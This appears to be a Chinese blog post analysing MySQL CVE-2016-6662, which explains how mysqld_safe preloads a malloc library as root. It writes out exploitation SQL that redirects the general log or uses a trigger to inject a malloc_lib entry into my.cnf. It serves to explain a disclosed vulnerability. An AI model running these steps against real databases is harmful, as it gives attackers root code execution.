Mysql本地提权及远程代码执行漏洞浅析(CVE-2016-6662)

0x00 漏洞影响

mysql 5.5、5.6、5.7 在10月份更新前的所有版本,包括分支版本MariaDB和PerconaDB 。

0x01 利用途径

通过远程数据库连接,web接口如phpMyAdmin,以及sql注入都可以完成。

0x02 漏洞原理

一些默认的mysql安装方式并且mysqld_safe脚本作为包装器以root权限启动mysql服务进程,比如像:

service mysql start
/etc/init.d/mysql start

ps aux | grep mysql以后你会发现mysqld_safe是以root权限运行,而mysql的主进程被降为了mysql用户,其中mysqld_safe有如下代码:

----[ /usr/bin/mysqld_safe ]----

[...]

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

[...]

----------[ eof ]---------------

它将在mysql服务启动前预加载一个共享库,可以用–malloc-lib=LIB 来指定,但也可以用my.cnf文件来进行配置,写在[mysqld] 或 [mysqld_safe]位置。

如果通过在my.cnf中指定一个存在恶意代码的库路径,那么在mysql重启的时候,这些代码将被以root权限执行。

在3.23.55版本之前曾有漏洞允许通过OUTFILE/DUMPFILE语句覆盖配置文件my.cnf,但是在之后,mysql修复了这个漏洞,不允许通过OUTFILE/DUMPFILE语句覆盖已经存在的文件

0x03 漏洞具体实现方式

这里其实分为三种情况:
1) my.cnf文件的拥有者是mysql,并且有读写权限。

虽然很多文档都推荐这么做,但其实是一个误区,因为如果这样配置,那么配置文件就可以被修改。

mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

之后,my.cnf文件会多了以下的部分

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:25:14    40 Query select '

; injected config entry

[mysqld]

malloc_lib=/tmp/mysql_exploit_lib.so

[separator]

'
160728 17:25:15    40 Query set global general_log = off

然后,在启动的时候,mysqld_safe脚本就会读取这个/tmp/mysql_exploit_lib.so 路径,然后清除之前创建的配置,打开这个文件并执行。此时配合将恶意文件用OUTFILE/DUMPFILE写入到/tmp目录下,就可以完成任意代码执行操作。

2) 在默认安装方式下创建新的配置文件在mysql的数据目录(默认mysql有写权限),不用依赖错误的权限配置!不需要FILE权限和错误文件归属!

mysqld_safe不止读取上面讲到的配置文件,同时还读取/var/lib/mysql/my.cnf ,而这个目录在任何安装情况下,mysql用户都是拥有写权限!

----[ /usr/bin/mysqld_safe ]----

[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
[...]

----------[ eof ]---------------

利用以下代码:

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

不过以上的配置文件不会被接受,因为mysql不允许配置文件以非正确的配置标签开头(如[mysqld]),正确的绕过方式有待更新。

3) 如果只有SELECT和FILE权限,不能利用日志记录的方式。

那么只能利用触发器来修改配置文件。

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

" INTO void;   
   set global general_log = off;
END;

或者

SELECT '...trigger_definition...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG' 

0x04 小结

或许我理解会有一些错误的地方,还望各位指正一下,之前就有人做过解析,写的很好,一并贴出链接:
http://blog.csdn.net/u011721501/article/details/52521037

漏洞的公告原文:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

你可能感兴趣的:(提权)